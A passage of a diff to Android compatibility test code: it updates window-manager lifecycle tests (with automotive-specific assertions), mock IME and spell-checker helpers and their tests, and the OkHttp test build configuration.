-            final Display display = rootView.getDisplay();
-            final Point size = new Point();
-            display.getRealSize(size);
-            assertEquals(size.x, rootView.getWidth());
-            assertEquals(size.y, rootView.getHeight());
+            final Rect windowMetricsBounds =
+                    getWindowManager().getCurrentWindowMetrics().getBounds();
+            assertEquals(windowMetricsBounds.width(), rootView.getWidth());
+            assertEquals(windowMetricsBounds.height(), rootView.getHeight());
             final int[] locationOnScreen = new int[2];
             rootView.getLocationOnScreen(locationOnScreen);
-            assertEquals(0 /* expected x */, locationOnScreen[0]);
-            assertEquals(0 /* expected y */, locationOnScreen[1]);
+            assertEquals(locationOnScreen[0] /* expected x */, windowMetricsBounds.left);
+            assertEquals(locationOnScreen[1] /* expected y */, windowMetricsBounds.top);
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
index 706db07..32bc18e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
@@ -46,6 +46,7 @@
 import com.google.common.collect.Lists;
 
 import java.util.List;
+import java.util.stream.Collectors;
 
 /**
  * Launch runner is an interpreter for a {@link LaunchSequence} command object.
@@ -328,6 +329,10 @@
         List<WindowManagerState.ActivityTask> endStateTasks =
                 mTestBase.getWmState().getRootTasks();
 
+        endStateTasks = endStateTasks.stream()
+                .filter(task -> activity.getPackageName().equals(task.getPackageName()))
+                .collect(Collectors.toList());
+
         return StateDump.fromTasks(endStateTasks, mBaseTasks);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index 1d51c35..71b45f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -268,6 +268,16 @@
     }
 
     /**
+     * Blocking call that will wait and verify that the activity transition settles with the
+     * expected state.
+     */
+    final void waitAndAssertActivityCurrentState(
+            Class<? extends Activity> activityClass, ActivityCallback expectedState) {
+        log("Start waitAndAssertActivityCurrentState");
+        mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, expectedState);
+    }
+
+    /**
      * Blocking call that will wait for activities to perform the expected sequence of transitions.
      * @see LifecycleTracker#waitForActivityTransitions(Class, List)
      */
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index e03ec7e..a29a544 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -28,6 +28,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
+import android.content.pm.PackageManager;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.MediumTest;
@@ -76,8 +77,15 @@
         } // keyguard hidden
 
         // Verify that activity was resumed
-        waitAndAssertActivityStates(state(activity, ON_RESUME));
-        LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
+        if (isCar()) {
+            LifecycleVerifier.assertRestartAndResumeSubSequence(FirstActivity.class,
+                    getLifecycleLog());
+            waitAndAssertActivityCurrentState(activity.getClass(), ON_RESUME);
+        } else {
+            waitAndAssertActivityStates(state(activity, ON_RESUME));
+            LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class,
+                    getLifecycleLog());
+        }
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index b452ba1..48cff03 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -47,6 +47,7 @@
 import android.app.ActivityOptions;
 import android.content.ComponentName;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState;
@@ -668,9 +669,17 @@
         }
 
         // Lock screen removed - activity should be on top now
-        waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
-                getLifecycleLog());
+        if (isCar()) {
+            LifecycleVerifier.assertStopToResumeSubSequence(CallbackTrackingActivity.class,
+                    getLifecycleLog());
+            waitAndAssertActivityCurrentState(CallbackTrackingActivity.class,
+                    ON_TOP_POSITION_GAINED);
+        } else {
+            waitAndAssertActivityStates(
+                    state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
+            LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
+                    getLifecycleLog());
+        }
     }
 
     @Test
@@ -691,9 +700,15 @@
         }
 
         // Lock screen removed - activity should be on top now
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
-                getLifecycleLog());
+        if (isCar()) {
+            LifecycleVerifier.assertStopToResumeSubSequence(CallbackTrackingActivity.class,
+                    getLifecycleLog());
+            waitAndAssertActivityCurrentState(activity.getClass(), ON_TOP_POSITION_GAINED);
+        } else {
+            waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+            LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
+                    getLifecycleLog());
+        }
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index e777034..6f388e3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -18,6 +18,7 @@
 
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
@@ -28,15 +29,12 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
 import static android.server.wm.lifecycle.LifecycleVerifier.transition;
 
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import org.junit.Test;
@@ -69,10 +67,8 @@
         // Launch two activities - second one to cover the first one and make it invisible.
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
         final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
-                state(firstActivity, ON_STOP));
         // Wait for activity to report saved state to the server.
-        getInstrumentation().waitForIdleSync();
+        mWmState.waitForActivityState(firstActivity.getComponentName(), STATE_STOPPED);
 
         // Release the instance of the non-visible activity below.
         getLifecycleLog().clear();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleTracker.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleTracker.java
index afbd079..961693d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleTracker.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleTracker.java
@@ -49,6 +49,20 @@
         }
     }
 
+    void waitAndAssertActivityCurrentState(Class<? extends Activity> activityClass,
+            ActivityCallback expectedState) {
+        final boolean waitResult = waitForConditionWithTimeout(() -> {
+            List<ActivityCallback> activityLog = mLifecycleLog.getActivityLog(activityClass);
+            ActivityCallback currentState = activityLog.get(activityLog.size() - 1);
+            return currentState == expectedState;
+        }, 5 * 1000);
+
+        if (!waitResult) {
+            fail("Lifecycle state did not settle with the expected current state of "
+                    + expectedState + " : " + mLifecycleLog.getActivityLog(activityClass));
+        }
+    }
+
     /**
      * Waits for a specific sequence of events to happen.
      * When there is a possibility of some lifecycle state happening more than once in a sequence,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index ff29d13..b0ab049 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -35,6 +35,8 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.content.Context;
+import android.content.pm.PackageManager;
 import android.server.wm.lifecycle.ActivityLifecycleClientTestBase.CallbackTrackingActivity;
 import android.server.wm.lifecycle.ActivityLifecycleClientTestBase.ConfigChangeHandlingActivity;
 import android.server.wm.lifecycle.LifecycleLog.ActivityCallback;
@@ -190,6 +192,24 @@
         assertEquals(errorMessage, expectedTransitions, observedTransitions);
     }
 
+    /**
+     * TODO(b/192274045): In Automotive, we tolerate superfluous lifecycle events between the first
+     * lifecycle events and the last one until any discrepancy between ActivityManager and Keyguard
+     * state is resolved.
+     */
+    static void assertRestartAndResumeSubSequence(Class<? extends Activity> activityClass,
+            LifecycleLog lifecycleLog) {
+        final List<LifecycleLog.ActivityCallback> observedTransitions =
+                lifecycleLog.getActivityLog(activityClass);
+        log("Observed sequence: " + observedTransitions);
+
+        final List<Pair<String, ActivityCallback>> expectedTransitions =
+                Arrays.asList(transition(activityClass, ON_RESTART),
+                        transition(activityClass, ON_START), transition(activityClass, ON_RESUME));
+
+        assertOrder(lifecycleLog, expectedTransitions, "restart and resume");
+    }
+
     static void assertRecreateAndResumeSequence(Class<? extends Activity> activityClass,
             LifecycleLog lifecycleLog) {
         final List<LifecycleLog.ActivityCallback> observedTransitions =
@@ -268,6 +288,28 @@
         assertEquals(errorMessage, expectedTransitions, observedTransitions);
     }
 
+    /**
+     * TODO(b/192274045): In Automotive, we tolerate superfluous lifecycle events between the first
+     * lifecycle events and the last one until any discrepancy between ActivityManager and Keyguard
+     * state is resolved.
+     */
+    static void assertStopToResumeSubSequence(Class<? extends Activity> activityClass,
+            LifecycleLog lifecycleLog) {
+        final List<LifecycleLog.ActivityCallback> observedTransitions =
+                lifecycleLog.getActivityLog(activityClass);
+        log("Observed sequence: " + observedTransitions);
+        final boolean includeCallbacks = CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass);
+
+        final List<Pair<String, ActivityCallback>> expectedTransitions = new ArrayList<>(
+                Arrays.asList(transition(activityClass, ON_RESTART),
+                        transition(activityClass, ON_START), transition(activityClass, ON_RESUME)));
+        if (includeCallbacks) {
+            expectedTransitions.add(transition(activityClass, ON_TOP_POSITION_GAINED));
+        }
+
+        assertOrder(lifecycleLog, expectedTransitions, "stop and resume");
+    }
+
     static void assertRelaunchSequence(Class<? extends Activity> activityClass,
             LifecycleLog lifecycleLog, LifecycleLog.ActivityCallback startState) {
         final List<LifecycleLog.ActivityCallback> expectedTransitions = getRelaunchSequence(startState);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index bb1c387..57729bc 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1422,8 +1422,10 @@
             // Not all device variants lock when we go to sleep, so we need to explicitly lock the
             // device. Note that pressSleepButton() above is redundant because the action also
             // puts the device to sleep, but kept around for clarity.
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_LOCK_SCREEN);
+            if (isWatch()) {
+                mInstrumentation.getUiAutomation().performGlobalAction(
+                        AccessibilityService.GLOBAL_ACTION_LOCK_SCREEN);
+            }
             if (mAmbientDisplayConfiguration.alwaysOnEnabled(
                     android.os.Process.myUserHandle().getIdentifier())) {
                 mWmState.waitForAodShowing();
@@ -2617,6 +2619,7 @@
         @Override
         public void addError(Throwable error) {
             super.addError(error);
+            logE("addError: " + error);
             mLastError = error;
         }
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index 3292480..bc6090f 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -81,15 +81,18 @@
 
     public TestTaskOrganizer(Context context) {
         super();
+        //TODO(b/192572357): Verify if the context is a UI context when b/190019118 is fixed.
         mContext = context;
     }
 
     @Override
     public List<TaskAppearedInfo> registerOrganizer() {
+        //TODO(b/192572357): Replace createDisplayContext with createWindowContext and
+        // getMaximumWindowMetrics with getCurrentWindowMetrics when b/190019118 is fixed.
         final Rect bounds = mContext.createDisplayContext(
                 mContext.getSystemService(DisplayManager.class)
                         .getDisplay(DEFAULT_DISPLAY)).getSystemService(WindowManager.class)
-                .getCurrentWindowMetrics()
+                .getMaximumWindowMetrics()
                 .getBounds();
         final boolean isLandscape = bounds.width() > bounds.height();
         if (isLandscape) {
diff --git a/tests/input/src/android/input/cts/GamepadWithAccessibilityTest.kt b/tests/input/src/android/input/cts/GamepadWithAccessibilityTest.kt
index 446f250..4b8adaa 100644
--- a/tests/input/src/android/input/cts/GamepadWithAccessibilityTest.kt
+++ b/tests/input/src/android/input/cts/GamepadWithAccessibilityTest.kt
@@ -120,8 +120,10 @@
         assertNotNull(lastInputEvent)
         assertTrue(lastInputEvent is KeyEvent)
         val keyEvent = lastInputEvent as KeyEvent
+        // The event was not modified by accessibility in any way, so it should not have
+        // KeyEvent.FLAG_IS_ACCESSIBILITY_EVENT in getFlags()
+        assertEquals(KeyEvent.FLAG_FROM_SYSTEM, keyEvent.getFlags())
         assertNotEquals(keyEvent.getDeviceId(), VIRTUAL_KEYBOARD)
-        assertNotEquals(keyEvent.getDeviceId(), InputDevice.ACCESSIBILITY_DEVICE_ID)
         assertEquals(keyEvent.getDeviceId(), uInputDevice.getDeviceId())
     }
 }
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 7e7ec45..8ce099b 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -27,6 +27,7 @@
         <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.view.inputmethod.cts.util.TestActivity"
+             android:theme="@style/no_starting_window"
              android:label="TestActivity"
              android:configChanges="fontScale"
              android:exported="true">
@@ -36,6 +37,7 @@
             </intent-filter>
         </activity>
         <activity android:name="android.view.inputmethod.cts.util.TestActivity2"
+                  android:theme="@style/no_starting_window"
                   android:label="TestActivity2"
                   android:exported="true">
             <intent-filter>
@@ -45,6 +47,7 @@
         </activity>
 
         <activity android:name="android.view.inputmethod.cts.util.StateInitializeActivity"
+             android:theme="@style/no_starting_window"
              android:label="StateInitializeActivity"
              android:configChanges="fontScale"
              android:exported="true">
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index b1d8554..ccd8659 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -20,7 +20,6 @@
 import android.graphics.Color;
 
 import androidx.annotation.AnyThread;
-import androidx.annotation.ColorInt;
 import androidx.annotation.NonNull;
 
 /**
@@ -91,33 +90,6 @@
         }
 
         /**
-         * Returns pixel color in A8R8G8B8 format.
-         *
-         * @param x X coordinate of the pixel.
-         * @param y Y coordinate of the pixel.
-         * @return Pixel color in A8R8G8B8 format.
-         */
-        @ColorInt
-        @AnyThread
-        int getPixel(int x, int y) {
-            return mPixels[y * mWidth + x];
-        }
-
-        /**
-         * Compares two given pixels to determine whether those two pixels are considered to be
-         * the same within {@link #TOLERANCE}.
-         *
-         * @param lhs a color integer to be compared.
-         * @param rhs another color integer to be compared.
-         * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
-         */
-        private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
-            return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
-                    && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
-                    && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
-        }
-
-        /**
          * Checks if the same image can be found in the specified {@link BitmapImage} within
          * within {@link #TOLERANCE}.
          *
@@ -130,19 +102,25 @@
         boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
             final int targetWidth = targetImage.getWidth();
             final int targetHeight = targetImage.getHeight();
+            final int[] targetPixels = targetImage.mPixels;
+            final int[] sourcePixels = mPixels;
+
+            if (offsetX < 0 || targetWidth <= mWidth - 1 + offsetX) return false;
+            if (offsetY < 0 || targetHeight <= mHeight - 1 + offsetY) return false;
 
             for (int y = 0; y < mHeight; ++y) {
                 for (int x = 0; x < mWidth; ++x) {
                     final int targetX = x + offsetX;
-                    if (targetX < 0 || targetWidth <= targetX) {
-                        return false;
-                    }
                     final int targetY = y + offsetY;
-                    if (targetY < 0 || targetHeight <= targetY) {
-                        return false;
-                    }
-                    if (!robustMatchInternal(
-                            targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
+                    final int targetPx = targetPixels[targetY * targetWidth + targetX];
+                    final int sourcePx = sourcePixels[y * mWidth + x];
+                    // Compares two given pixels (targetPx & sourcePx) to determine whether those
+                    // two pixels are considered to be the same within {@link #TOLERANCE}.
+                    boolean match = targetPx == sourcePx
+                            || (Math.abs(Color.red(targetPx) - Color.red(sourcePx)) <= TOLERANCE
+                            && Math.abs(Color.green(targetPx) - Color.green(sourcePx)) <= TOLERANCE
+                            && Math.abs(Color.blue(targetPx) - Color.blue(sourcePx)) <= TOLERANCE);
+                    if (!match) {
                         return false;
                     }
                 }
@@ -252,9 +230,12 @@
      */
     public static boolean detect(@NonNull Bitmap bitmap) {
         final BitmapImage targetImage = BitmapImage.createFromBitmap(bitmap);
+
         // Search from the bottom line with an assumption that the IME is shown at the bottom.
-        for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
-            for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
+        final int targetImageHeight = targetImage.getHeight();
+        final int targetImageWidth = targetImage.getWidth();
+        for (int offsetY = targetImageHeight - 1; offsetY >= 0; --offsetY) {
+            for (int offsetX = 0; offsetX < targetImageWidth; ++offsetX) {
                 if (sImage.robustMatch(targetImage, offsetX, offsetY)) {
                     return true;
                 }
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
index 45730c5..c404230 100644
--- a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
@@ -31,6 +31,8 @@
     return block()
 }
 
+const val EXTRAS_KEY_PREFIX = "prefix"
+
 /** Mock Spell checker for end-to-end tests. */
 class MockSpellChecker : SpellCheckerService() {
 
@@ -108,7 +110,14 @@
         ): SuggestionsInfo {
             // Only use attrs in supportedAttributes
             val attrs = rule.attributes and supportedAttributes
-            return SuggestionsInfo(attrs, rule.suggestionsList.toTypedArray(), cookie, sequence)
+            // Add prefix if it is passed in getBundle()
+            val prefix = bundle.getString(EXTRAS_KEY_PREFIX)
+            val suggestions = if (prefix != null) {
+                rule.suggestionsList.map { prefix + it }.toTypedArray()
+            } else {
+                rule.suggestionsList.toTypedArray()
+            }
+            return SuggestionsInfo(attrs, suggestions, cookie, sequence)
         }
 
         private fun emptySuggestionsInfo() = SuggestionsInfo(0, arrayOf())
diff --git a/tests/inputmethod/res/values/styles.xml b/tests/inputmethod/res/values/styles.xml
new file mode 100644
index 0000000..32f277f
--- /dev/null
+++ b/tests/inputmethod/res/values/styles.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <style name="no_starting_window" parent="@android:style/Theme.DeviceDefault">
+        <item name="android:windowDisablePreview">true</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
index 990fc95..2c2eb9f 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -18,6 +18,7 @@
 import android.app.Instrumentation
 import android.app.UiAutomation
 import android.content.Context
+import android.os.Bundle
 import android.os.Looper
 import android.provider.Settings
 import android.text.style.SuggestionSpan
@@ -59,17 +60,20 @@
 import com.android.compatibility.common.util.SystemUtil
 import com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand
 import com.android.cts.mockime.MockImeSession
+import com.android.cts.mockspellchecker.EXTRAS_KEY_PREFIX
 import com.android.cts.mockspellchecker.MockSpellChecker
 import com.android.cts.mockspellchecker.MockSpellCheckerClient
 import com.android.cts.mockspellchecker.MockSpellCheckerProto
 import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
 import com.google.common.truth.Truth.assertThat
+import org.junit.Assert.assertThrows
 import org.junit.Assert.fail
 import org.junit.Assume
 import org.junit.Before
 import org.junit.Rule
 import org.junit.Test
 import org.junit.runner.RunWith
+import java.lang.IllegalArgumentException
 import java.util.Locale
 import java.util.concurrent.Executor
 import java.util.concurrent.TimeUnit
@@ -275,7 +279,7 @@
                     .setLocale(Locale.US)
                     .setSupportedAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
                     .build()
-            var session: SpellCheckerSession? = tsm?.newSpellCheckerSession(
+            val session: SpellCheckerSession? = tsm?.newSpellCheckerSession(
                     params, fakeExecutor, fakeListener)
             assertThat(session).isNotNull()
             session?.getSentenceSuggestions(arrayOf(TextInfo("match")), 5)
@@ -331,6 +335,80 @@
     }
 
     @Test
+    fun newSpellCheckerSession_extras() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockSpellCheckerClient.create(context, configuration).use {
+            val tsm = context.getSystemService(TextServicesManager::class.java)
+            assertThat(tsm).isNotNull()
+            val fakeListener = FakeSpellCheckerSessionListener()
+            val fakeExecutor = FakeExecutor()
+            // Set a prefix. MockSpellChecker will add "test_" to the spell check result.
+            val extras = Bundle()
+            extras.putString(EXTRAS_KEY_PREFIX, "test_")
+            val params = SpellCheckerSession.SpellCheckerSessionParams.Builder()
+                    .setLocale(Locale.US)
+                    .setSupportedAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                    .setExtras(extras)
+                    .build()
+            val session: SpellCheckerSession? = tsm?.newSpellCheckerSession(
+                    params, fakeExecutor, fakeListener)
+            assertThat(session).isNotNull()
+            session?.getSentenceSuggestions(arrayOf(TextInfo("match")), 5)
+            waitOnMainUntil({ fakeExecutor.runnables.size == 1 }, TIMEOUT)
+            fakeExecutor.runnables[0].run()
+
+            assertThat(fakeListener.getSentenceSuggestionsResults).hasSize(1)
+            assertThat(fakeListener.getSentenceSuggestionsResults[0]).hasLength(1)
+            val sentenceSuggestionsInfo = fakeListener.getSentenceSuggestionsResults[0]!![0]
+            assertThat(sentenceSuggestionsInfo.suggestionsCount).isEqualTo(1)
+            val suggestionsInfo = sentenceSuggestionsInfo.getSuggestionsInfoAt(0)
+            assertThat(suggestionsInfo.suggestionsCount).isEqualTo(1)
+            assertThat(suggestionsInfo.getSuggestionAt(0)).isEqualTo("test_suggestion")
+        }
+    }
+
+    @Test
+    fun spellCheckerSessionParamsBuilder() {
+        // Locale or shouldReferToSpellCheckerLanguageSettings should be set.
+        assertThrows(IllegalArgumentException::class.java) {
+            SpellCheckerSession.SpellCheckerSessionParams.Builder().build()
+        }
+
+        // Test defaults.
+        val localeOnly = SpellCheckerSession.SpellCheckerSessionParams.Builder()
+                .setLocale(Locale.US)
+                .build()
+        assertThat(localeOnly.locale).isEqualTo(Locale.US)
+        assertThat(localeOnly.shouldReferToSpellCheckerLanguageSettings()).isFalse()
+        assertThat(localeOnly.supportedAttributes).isEqualTo(0)
+        assertThat(localeOnly.extras).isNotNull()
+        assertThat(localeOnly.extras.size()).isEqualTo(0)
+
+        // Test setters.
+        val extras = Bundle()
+        extras.putString("key", "value")
+        val params = SpellCheckerSession.SpellCheckerSessionParams.Builder()
+                .setLocale(Locale.CANADA)
+                .setShouldReferToSpellCheckerLanguageSettings(true)
+                .setSupportedAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                .setExtras(extras)
+                .build()
+        assertThat(params.locale).isEqualTo(Locale.CANADA)
+        assertThat(params.shouldReferToSpellCheckerLanguageSettings()).isTrue()
+        assertThat(params.supportedAttributes).isEqualTo(RESULT_ATTR_LOOKS_LIKE_TYPO)
+        // Bundle does not implement equals.
+        assertThat(params.extras).isNotNull()
+        assertThat(params.extras.size()).isEqualTo(1)
+        assertThat(params.extras.getString("key")).isEqualTo("value")
+    }
+
+    @Test
     fun suppressesSpellChecker() {
         val configuration = MockSpellCheckerConfiguration.newBuilder()
                 .addSuggestionRules(
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
index 2857328..b481dd5 100644
--- a/tests/libcore/okhttp/Android.bp
+++ b/tests/libcore/okhttp/Android.bp
@@ -16,8 +16,8 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-android_test {
-    name: "CtsLibcoreOkHttpTestCases",
+java_defaults {
+    name: "libcore_okhttp_test_cases_defaults",
     defaults: ["cts_support_defaults"],
     platform_apis: true,
     min_sdk_version: "29",
@@ -40,10 +40,28 @@
     // Include both the 32 and 64 bit versions of libjavacoretests,
     // where applicable.
     compile_multilib: "both",
+}
+
+// Tests used in CTS and in Conscrypt MTS.
+android_test {
+    name: "CtsLibcoreOkHttpTestCases",
+    defaults: ["libcore_okhttp_test_cases_defaults"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
        "mts-conscrypt",
     ],
+  test_config: "CtsLibcoreOkHttpTestCases.xml"
+}
+
+// Tests used in ART MTS.
+android_test {
+    name: "MtsLibcoreOkHttpTestCases",
+    defaults: ["libcore_okhttp_test_cases_defaults"],
+    test_suites: [
+        "general-tests",
+        "mts-art",
+    ],
+  test_config: "MtsLibcoreOkHttpTestCases.xml"
 }
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/CtsLibcoreOkHttpTestCases.xml
similarity index 100%
rename from tests/libcore/okhttp/AndroidTest.xml
rename to tests/libcore/okhttp/CtsLibcoreOkHttpTestCases.xml
diff --git a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
new file mode 100644
index 0000000..8219e38c
--- /dev/null
+++ b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for MTS Libcore OkHttp test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
